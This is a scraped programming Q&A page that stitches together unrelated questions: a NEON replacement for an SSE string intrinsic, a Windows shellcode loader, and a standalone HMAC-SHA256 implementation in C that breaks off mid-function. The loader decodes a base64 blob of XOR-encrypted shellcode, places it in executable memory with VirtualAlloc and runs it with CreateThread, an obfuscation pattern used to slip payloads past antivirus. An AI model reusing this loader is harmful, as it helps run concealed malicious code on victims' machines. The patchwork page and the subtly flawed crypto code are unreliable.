_mm_cmpestri instruction alternative on NEON - c

I am trying to run PicoHTTPParser on ARM platform. There is a function that uses SSE instruction _mm_cmpestri for fast char comparisson. Is there an alternative in NEON? It seems I'll have to use something like VCGT.U8, but it does not look very efficient.
static const char *findchar_fast(const char *buf, const char *buf_end, const char *ranges, size_t ranges_size, int *found)
{
*found = 0;
#if __SSE4_2__
if (likely(buf_end - buf >= 16)) {
__m128i ranges16 = _mm_loadu_si128((const __m128i *)ranges);
size_t left = (buf_end - buf) & ~15;
do {
__m128i b16 = _mm_loadu_si128((const __m128i*)buf);
int r = _mm_cmpestri(ranges16, ranges_size, b16, 16, _SIDD_LEAST_SIGNIFICANT | _SIDD_CMP_RANGES | _SIDD_UBYTE_OPS);
if (unlikely(r != 16)) {
buf += r;
*found = 1;
break;
}
buf += 16;
left -= 16;
} while (likely(left != 0));
}
#else
/* suppress unused parameter warning */
(void)buf_end;
(void)ranges;
(void)ranges_size;
#endif
return buf;
}

Related

Converting Signed Char Array That Involves Hex Characters to Unsigned Char Array

I am trying to create a shellcode by integrating XOR encryption and Base64 encoding. However, I have a problem. Base64 decoder that I found outputs char array but I need unsigned char array because all the rest of the algorithm is created for unsigned char array. I added my code below. Can you suggest a solution?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"
/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );
int main() {
PVOID lclbuff;
HANDLE thrd;
int i;
//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
char myb64[1840];
unsigned char nw[1840];
b64_decode(mysrc, myb64);
printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
//However, It must reside inside an unsigned char array, as occurs in the output above.
//The output above must be turned into unsigned char array which is 'nw'. What can I do?
char key1[] = "elma";
char key2[] = "armut";
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key2[i % strlen(key2)];
}
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key1[i % strlen(key1)];
}
lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, sizeof(nw));
thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
WaitForSingleObject(thrd, INFINITE);
return 0;
}
// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.
/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
unsigned char in[3];
int i, len = 0;
int j = 0;
b64dst[0] = '\0';
while(clrstr[j]) {
len = 0;
for(i=0; i<3; i++) {
in[i] = (unsigned char) clrstr[j];
if(clrstr[j]) {
len++; j++;
}
else in[i] = 0;
}
if( len ) {
encodeblock( in, b64dst, len );
}
}
}
/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
unsigned char out[4];
out[0] = in[0] << 2 | in[1] >> 4;
out[1] = in[1] << 4 | in[2] >> 2;
out[2] = in[2] << 6 | in[3] >> 0;
out[3] = '\0';
strncat(clrstr, out, sizeof(out));
}
void b64_decode(char *b64src, char *clrdst) {
int c, phase, i;
unsigned char in[4];
char *p;
clrdst[0] = '\0';
phase = 0; i=0;
while(b64src[i]) {
c = (int) b64src[i];
if(c == '=') {
decodeblock(in, clrdst);
break;
}
p = strchr(b64, c);
if(p) {
in[phase] = p - b64;
phase = (phase + 1) % 4;
if(phase == 0) {
decodeblock(in, clrdst);
in[0]=in[1]=in[2]=in[3]=0;
}
}
i++;
}
}
/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
unsigned char out[5];
out[0] = b64[ in[0] >> 2 ];
out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
((in[2] & 0xc0) >> 6) ] : '=');
out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
out[4] = '\0';
strncat(b64str, out, sizeof(out));
}

HmacSHA256 in WebAssembly compiled with Emscripten

I'm trying to implement JWT token (encoding only) in WebAssembly, the goal is to have a very light weight wasm module. As a web developer my C knowledge is limited. For now I've implemented the following function (ported from JS) to encode url-safe Base64 encoder, which works perfectly.
char _keyStr[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=";
char ret_val[200];
char* encode (char *data){
int len = strlen(data);
int i = 0;
int j = 0;
while(i<len){
char chr1 = data[i++];
int chr2Out = (i > len - 1)? 1:0;
char chr2 = data[i++];
int chr3Out = (i > len - 1)? 1:0;;
char chr3 = data[i++];
char enc1 = chr1 >> 2;
char enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
char enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
char enc4 = chr3 & 63;
if (chr2Out) {
enc3 = enc4 = 64;
} else if (chr3Out) {
enc4 = 64;
}
ret_val[j++] = _keyStr[enc1];
ret_val[j++] = _keyStr[enc2];
ret_val[j++] = _keyStr[enc3];
ret_val[j++] = _keyStr[enc4];
}
ret_val[j] = '\0';
return ret_val;
}
My next challenge is to be able to sign my JWT payload with HmacSHA256.
The following JS fiddle, describes what I want to accomplish with C.
https://jsfiddle.net/gm7boy2p/813/
I'm struggling with integrating a 3rd party code and complie it with emcc.
I'm looking for a light weight library or a snippet.
Example code or any help would be appreciated.
Update: After extra research, reading this stackoverflow question and this article, it looks like using openssl or any other external library with WebAssembly is far from trivial. So what I'm looking for now is a standalone C function that I could integrate to my existing code.
It is true that you cannot use the system libraries when using web-assembly. So the only solution is to compile them from source in a way the that is compliant with the libraries already provided by the cross-compiler (ie emscripten)
So for your question, I found the library cryptopp, satisfying your use case. The example here showcase how you can use this library.
Now how can you compile this library for your case? Since it comes with a make file, all you need to do is call
emmake make -f GNUmakefile-cross -j8
This will generate a .a file, which is actually a .bc file and can be linked with your existing C/C++ program, that you wish to run on web. Just make sure to include the headers of this file appropriately. It would even be better if you make a makefile for your project.
P.S I got this working locally in my system, by adding these line at the end of the GNUmakefile-cross file
cryptest.html: libcryptopp.a $(TESTOBJS)
$(CXX) -s DISABLE_EXCEPTION_CATCHING=0 --preload-file TestData -o $# $(strip $(CXXFLAGS)) $(TESTOBJS) ./libcryptopp.a $(LDFLAGS) $(LDLIBS)
I changed the test.cpp file to include sample code for "HMAC" and then called the following lines from the command line
emmake make -f GNUmakefile-cross cryptest.html -j8
The output ie cryptest.html, when opened in firefox worked flawlessly.
I managed to create a small (library-ish) code snippet in C. I checked the results from here.
Also shown here:
The SHA256 code is taken from here. Used in cgminer.
I just modified it a bit (removed references etc.) to make it work stand-alone. Here is the total code and test software.
sha2.h:
/*
* FIPS 180-2 SHA-224/256/384/512 implementation
* Last update: 02/02/2007
* Issue date: 04/30/2005
*
* Copyright (C) 2013, Con Kolivas <kernel#kolivas.org>
* Copyright (C) 2005, 2007 Olivier Gay <olivier.gay#a3.epfl.ch>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the project nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef SHA2_H
#define SHA2_H
#define SHA256_DIGEST_SIZE ( 256 / 8)
#define SHA256_BLOCK_SIZE ( 512 / 8)
#define SHFR(x, n) (x >> n)
#define ROTR(x, n) ((x >> n) | (x << ((sizeof(x) << 3) - n)))
#define CH(x, y, z) ((x & y) ^ (~x & z))
#define MAJ(x, y, z) ((x & y) ^ (x & z) ^ (y & z))
#define SHA256_F1(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22))
#define SHA256_F2(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25))
#define SHA256_F3(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ SHFR(x, 3))
#define SHA256_F4(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ SHFR(x, 10))
typedef struct {
unsigned int tot_len;
unsigned int len;
unsigned char block[2 * SHA256_BLOCK_SIZE];
unsigned int h[8];
} sha256_ctx;
extern unsigned int sha256_k[64];
void sha256_init(sha256_ctx * ctx);
void sha256_update(sha256_ctx *ctx, const unsigned char *message,
unsigned int len);
void sha256_final(sha256_ctx *ctx, unsigned char *digest);
void sha256(const unsigned char *message, unsigned int len,
unsigned char *digest);
#endif /* !SHA2_H */
main.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "sha2.h"
#define UNPACK32(x, str) \
{ \
*((str) + 3) = (unsigned char) ((x) ); \
*((str) + 2) = (unsigned char) ((x) >> 8); \
*((str) + 1) = (unsigned char) ((x) >> 16); \
*((str) + 0) = (unsigned char) ((x) >> 24); \
}
#define PACK32(str, x) \
{ \
*(x) = ((unsigned int) *((str) + 3) ) \
| ((unsigned int) *((str) + 2) << 8) \
| ((unsigned int) *((str) + 1) << 16) \
| ((unsigned int) *((str) + 0) << 24); \
}
#define SHA256_SCR(i) \
{ \
w[i] = SHA256_F4(w[i - 2]) + w[i - 7] \
+ SHA256_F3(w[i - 15]) + w[i - 16]; \
}
unsigned int sha256_h0[8] =
{ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 };
unsigned int sha256_k[64] =
{ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 };
/* SHA-256 functions */
void sha256_transf(sha256_ctx *ctx, const unsigned char *message,
unsigned int block_nb)
{
unsigned int w[64];
unsigned int wv[8];
unsigned int t1, t2;
const unsigned char *sub_block;
int i;
int j;
for (i = 0; i < (int)block_nb; i++) {
sub_block = message + (i << 6);
for (j = 0; j < 16; j++) {
PACK32(&sub_block[j << 2], &w[j]);
}
for (j = 16; j < 64; j++) {
SHA256_SCR(j);
}
for (j = 0; j < 8; j++) {
wv[j] = ctx->h[j];
}
for (j = 0; j < 64; j++) {
t1 = wv[7] + SHA256_F2(wv[4]) + CH(wv[4], wv[5], wv[6])
+ sha256_k[j] + w[j];
t2 = SHA256_F1(wv[0]) + MAJ(wv[0], wv[1], wv[2]);
wv[7] = wv[6];
wv[6] = wv[5];
wv[5] = wv[4];
wv[4] = wv[3] + t1;
wv[3] = wv[2];
wv[2] = wv[1];
wv[1] = wv[0];
wv[0] = t1 + t2;
}
for (j = 0; j < 8; j++) {
ctx->h[j] += wv[j];
}
}
}
void sha256(const unsigned char *message, unsigned int len, unsigned char *digest)
{
sha256_ctx ctx;
sha256_init(&ctx);
sha256_update(&ctx, message, len);
sha256_final(&ctx, digest);
}
void sha256_init(sha256_ctx *ctx)
{
int i;
for (i = 0; i < 8; i++) {
ctx->h[i] = sha256_h0[i];
}
ctx->len = 0;
ctx->tot_len = 0;
}
void sha256_update(sha256_ctx *ctx, const unsigned char *message,
unsigned int len)
{
unsigned int block_nb;
unsigned int new_len, rem_len, tmp_len;
const unsigned char *shifted_message;
tmp_len = SHA256_BLOCK_SIZE - ctx->len;
rem_len = len < tmp_len ? len : tmp_len;
memcpy(&ctx->block[ctx->len], message, rem_len);
if (ctx->len + len < SHA256_BLOCK_SIZE) {
ctx->len += len;
return;
}
new_len = len - rem_len;
block_nb = new_len / SHA256_BLOCK_SIZE;
shifted_message = message + rem_len;
sha256_transf(ctx, ctx->block, 1);
sha256_transf(ctx, shifted_message, block_nb);
rem_len = new_len % SHA256_BLOCK_SIZE;
memcpy(ctx->block, &shifted_message[block_nb << 6],
rem_len);
ctx->len = rem_len;
ctx->tot_len += (block_nb + 1) << 6;
}
void sha256_final(sha256_ctx *ctx, unsigned char *digest)
{
unsigned int block_nb;
unsigned int pm_len;
unsigned int len_b;
int i;
block_nb = (1 + ((SHA256_BLOCK_SIZE - 9)
< (ctx->len % SHA256_BLOCK_SIZE)));
len_b = (ctx->tot_len + ctx->len) << 3;
pm_len = block_nb << 6;
memset(ctx->block + ctx->len, 0, pm_len - ctx->len);
ctx->block[ctx->len] = 0x80;
UNPACK32(len_b, ctx->block + pm_len - 4);
sha256_transf(ctx, ctx->block, block_nb);
for (i = 0; i < 8; i++) {
UNPACK32(ctx->h[i], &digest[i << 2]);
}
}
unsigned char * HMAC_SHA256(const char * msg, const char * key)
{
unsigned int blocksize = 64;
unsigned char * Key0 = (unsigned char *)calloc(blocksize, sizeof(unsigned char));
unsigned char * Key0_ipad = (unsigned char *)calloc(blocksize, sizeof(unsigned char));
unsigned char * Key0_ipad_concat_text = (unsigned char *)calloc( (blocksize + strlen(msg)), sizeof(unsigned char));
unsigned char * Key0_ipad_concat_text_digest = (unsigned char *)calloc( blocksize, sizeof(unsigned char));
unsigned char * Key0_opad = (unsigned char *)calloc(blocksize, sizeof(unsigned char));
unsigned char * Key0_opad_concat_prev = (unsigned char *)calloc(blocksize + 32, sizeof(unsigned char));
unsigned char * HMAC_SHA256 = (unsigned char *)malloc(32 * sizeof(unsigned char));
if (strlen(key) < blocksize) {
for (int i = 0; i < blocksize; i++) {
if (i < strlen(key)) Key0[i] = key[i];
else Key0[i] = 0x00;
}
}
else if (strlen(key) > blocksize) {
sha256(key, strlen(key), Key0);
for (unsigned char i = strlen(key); i < blocksize; i++) {
Key0[i] = 0x00;
}
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad[i] = Key0[i] ^ 0x36;
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad_concat_text[i] = Key0_ipad[i];
}
for (int i = blocksize; i < blocksize + strlen(msg); i++) {
Key0_ipad_concat_text[i] = msg[i - blocksize];
}
sha256(Key0_ipad_concat_text, blocksize + (unsigned int)strlen(msg), Key0_ipad_concat_text_digest);
for (int i = 0; i < blocksize; i++) {
Key0_opad[i] = Key0[i] ^ 0x5C;
}
for (int i = 0; i < blocksize; i++) {
Key0_opad_concat_prev[i] = Key0_opad[i];
}
for (int i = blocksize; i < blocksize + 32; i++) {
Key0_opad_concat_prev[i] = Key0_ipad_concat_text_digest[i - blocksize];
}
sha256(Key0_opad_concat_prev, blocksize + 32, HMAC_SHA256);
return HMAC_SHA256;
}
int main()
{
unsigned char * result;
result = HMAC_SHA256("Sample #1", "MyKey");
unsigned char arr[32] = { 0 };
memcpy(arr, result, 32);
for(int i = 0; i < 32; i++) {
printf("%#02x, ", arr[i]);
}
return 0;
}
Here are the results for the sample run:
EDIT:
Info on the HMAC_SHA256 function can be found here. The one I wrote is just for demonstration purposes. One can modify it accordingly.
EDIT 2:
I added the code for Base64 format. I used the information found on Wikipedia. Sample test run works for OP's input and output. Results are as shown:
Updated main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "sha2.h"
#define HMAC_SHA256_FAIL_STRING "HMAC_SHA256 has failed." // fprintf(stderr, "%s\n", strerror(errno));
#define UNPACK32(x, str) \
{ \
*((str) + 3) = (unsigned char) ((x) ); \
*((str) + 2) = (unsigned char) ((x) >> 8); \
*((str) + 1) = (unsigned char) ((x) >> 16); \
*((str) + 0) = (unsigned char) ((x) >> 24); \
}
#define PACK32(str, x) \
{ \
*(x) = ((unsigned int) *((str) + 3) ) \
| ((unsigned int) *((str) + 2) << 8) \
| ((unsigned int) *((str) + 1) << 16) \
| ((unsigned int) *((str) + 0) << 24); \
}
#define SHA256_SCR(i) \
{ \
w[i] = SHA256_F4(w[i - 2]) + w[i - 7] \
+ SHA256_F3(w[i - 15]) + w[i - 16]; \
}
char Base64_Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
unsigned int sha256_h0[8] =
{ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 };
unsigned int sha256_k[64] =
{ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 };
/* SHA-256 functions */
void sha256_transf(sha256_ctx *ctx, const unsigned char *message,
unsigned int block_nb)
{
unsigned int w[64];
unsigned int wv[8];
unsigned int t1, t2;
const unsigned char *sub_block;
int i;
int j;
for (i = 0; i < (int)block_nb; i++) {
sub_block = message + (i << 6);
for (j = 0; j < 16; j++) {
PACK32(&sub_block[j << 2], &w[j]);
}
for (j = 16; j < 64; j++) {
SHA256_SCR(j);
}
for (j = 0; j < 8; j++) {
wv[j] = ctx->h[j];
}
for (j = 0; j < 64; j++) {
t1 = wv[7] + SHA256_F2(wv[4]) + CH(wv[4], wv[5], wv[6])
+ sha256_k[j] + w[j];
t2 = SHA256_F1(wv[0]) + MAJ(wv[0], wv[1], wv[2]);
wv[7] = wv[6];
wv[6] = wv[5];
wv[5] = wv[4];
wv[4] = wv[3] + t1;
wv[3] = wv[2];
wv[2] = wv[1];
wv[1] = wv[0];
wv[0] = t1 + t2;
}
for (j = 0; j < 8; j++) {
ctx->h[j] += wv[j];
}
}
}
void sha256(const unsigned char *message, unsigned int len, unsigned char *digest)
{
sha256_ctx ctx;
sha256_init(&ctx);
sha256_update(&ctx, message, len);
sha256_final(&ctx, digest);
}
void sha256_init(sha256_ctx *ctx)
{
int i;
for (i = 0; i < 8; i++) {
ctx->h[i] = sha256_h0[i];
}
ctx->len = 0;
ctx->tot_len = 0;
}
void sha256_update(sha256_ctx *ctx, const unsigned char *message,
unsigned int len)
{
unsigned int block_nb;
unsigned int new_len, rem_len, tmp_len;
const unsigned char *shifted_message;
tmp_len = SHA256_BLOCK_SIZE - ctx->len;
rem_len = len < tmp_len ? len : tmp_len;
memcpy(&ctx->block[ctx->len], message, rem_len);
if (ctx->len + len < SHA256_BLOCK_SIZE) {
ctx->len += len;
return;
}
new_len = len - rem_len;
block_nb = new_len / SHA256_BLOCK_SIZE;
shifted_message = message + rem_len;
sha256_transf(ctx, ctx->block, 1);
sha256_transf(ctx, shifted_message, block_nb);
rem_len = new_len % SHA256_BLOCK_SIZE;
memcpy(ctx->block, &shifted_message[block_nb << 6],
rem_len);
ctx->len = rem_len;
ctx->tot_len += (block_nb + 1) << 6;
}
void sha256_final(sha256_ctx *ctx, unsigned char *digest)
{
unsigned int block_nb;
unsigned int pm_len;
unsigned int len_b;
int i;
block_nb = (1 + ((SHA256_BLOCK_SIZE - 9)
< (ctx->len % SHA256_BLOCK_SIZE)));
len_b = (ctx->tot_len + ctx->len) << 3;
pm_len = block_nb << 6;
memset(ctx->block + ctx->len, 0, pm_len - ctx->len);
ctx->block[ctx->len] = 0x80;
UNPACK32(len_b, ctx->block + pm_len - 4);
sha256_transf(ctx, ctx->block, block_nb);
for (i = 0; i < 8; i++) {
UNPACK32(ctx->h[i], &digest[i << 2]);
}
}
char * HMAC_SHA256(char * msg, char * key)
{
size_t blocksize;
blocksize = 64;
char * Key0 = (char *)calloc(blocksize, sizeof(char));
if (Key0 == NULL) {
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * Key0_ipad = (char *)calloc(blocksize, sizeof(char));
if (Key0_ipad == NULL) {
free(Key0);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64 + strlen(msg);
char * Key0_ipad_concat_text = (char *)calloc( blocksize, sizeof(char));
if (Key0_ipad_concat_text == NULL) {
free(Key0);
free(Key0_ipad);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * Key0_ipad_concat_text_digest = (char *)calloc( blocksize, sizeof(char));
if (Key0_ipad_concat_text_digest == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * Key0_opad = (char *)calloc(blocksize, sizeof(char));
if (Key0_opad == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64 + 32;
char * Key0_opad_concat_prev = (char *)calloc(blocksize + 32, sizeof(char));
if (Key0_opad_concat_prev == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
free(Key0_opad);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * HMAC_SHA256 = (char *)malloc(blocksize/2 * sizeof(char));
if (HMAC_SHA256 == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
free(Key0_opad);
free(Key0_opad_concat_prev);
return HMAC_SHA256_FAIL_STRING;
}
if (strlen(key) < blocksize) {
char * tmp = key;
char * tmp2 = Key0;
for (int i = 0; i < blocksize; i++) {
if (i < strlen(key)) *tmp2++ = *tmp++;
else *tmp2++ = 0x00;
}
}
else if (strlen(key) > blocksize) {
sha256((unsigned char *)key, strlen(key), (unsigned char *)Key0);
for (unsigned char i = strlen(key); i < blocksize; i++) {
Key0[i] = 0x00;
}
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad[i] = Key0[i] ^ 0x36;
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad_concat_text[i] = Key0_ipad[i];
}
for (int i = blocksize; i < blocksize + strlen(msg); i++) {
